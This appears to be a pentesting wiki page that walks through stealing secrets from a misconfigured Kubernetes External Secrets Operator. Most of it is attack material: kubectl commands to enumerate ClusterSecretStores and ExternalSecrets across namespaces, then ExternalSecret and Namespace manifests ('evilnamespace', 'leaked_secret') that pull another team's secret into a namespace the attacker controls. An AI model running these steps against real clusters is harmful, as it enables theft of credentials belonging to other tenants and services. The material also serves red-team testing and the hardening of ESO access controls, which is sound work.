Kubernetes External Secret Operator

The original author of this page is Fares

This page gives some pointers onto how you can achieve to steal secrets from a misconfigured ESO or application which uses ESO to sync its secrets.

Disclaimer

The technique showed below can only work when certain circumstances are met. For instance, it depends on the requirements needed to allow a secret to be synched on a namespace that you own / compromised. You need to figure it out by yourself.

Prerequisites

  1. A foothold in a kubernetes / openshift cluster with admin privileges on a namespace

  2. Read access on at least ExternalSecret at cluster level

  3. Figure out if there are any required labels / annotations or group membership needed which allows ESO to sync your secret. If you're lucky, you can freely steal any defined secret.

Gathering information about existing ClusterSecretStore

Assuming that you have a users which has enough rights to read this resource; start by first listing existing ClusterSecretStores.

kubectl get ClusterSecretStore

ExternalSecret enumeration

Let's assume you found a ClusterSecretStore named mystore. Continue by enumerating its associated externalsecret.

kubectl get externalsecret -A | grep mystore

This resource is namespace scoped so unless you already know which namespace to look for, add the -A option to look across all namespaces.

You should get a list of defined externalsecret. Let's assume you found an externalsecret object called mysecret defined and used by namespace mynamespace. Gather a bit more information about what kind of secret it holds.

kubectl get externalsecret myexternalsecret -n mynamespace -o yaml

Assembling the pieces

From here you can get the name of one or multiple secret names (such as defined in the Secret resource). You will an output similar to:

kind: ExternalSecret
metadata:
  annotations:
  ...
  labels:
  ...
spec:
  data:
  - remoteRef:
      conversionStrategy: Default
      decodingStrategy: None
      key: SECRET_KEY
    secretKey: SOME_PASSWORD
    ...

So far we got:

  • Name a ClusterSecretStore

  • Name of an ExternalSecret

  • Name of the secret

Now that we have everything we need, you can create an ExternalSecret (and eventually patch/create a new Namespace to comply with prerequisites needed to get your new secret synced ):

kind: ExternalSecret
metadata:
  name: myexternalsecret
  namespace: evilnamespace
spec:
  data:
  - remoteRef:
      conversionStrategy: Default
      decodingStrategy: None
      key: SECRET_KEY
    secretKey: SOME_PASSWORD
  refreshInterval: 30s
  secretStoreRef:
    kind: ClusterSecretStore
    name: mystore
  target:
    creationPolicy: Owner
    deletionPolicy: Retain
    name: leaked_secret
 kind: Namespace
 metadata:
   annotations:
     required_annotation: value
     other_required_annotation: other_value
   labels:
     required_label: somevalue
     other_required_label: someothervalue
   name: evilnamespace

After a few mins, if sync conditions were met, you should be able to view the leaked secret inside your namespace

kubectl get secret leaked_secret -o yaml

References

Last updated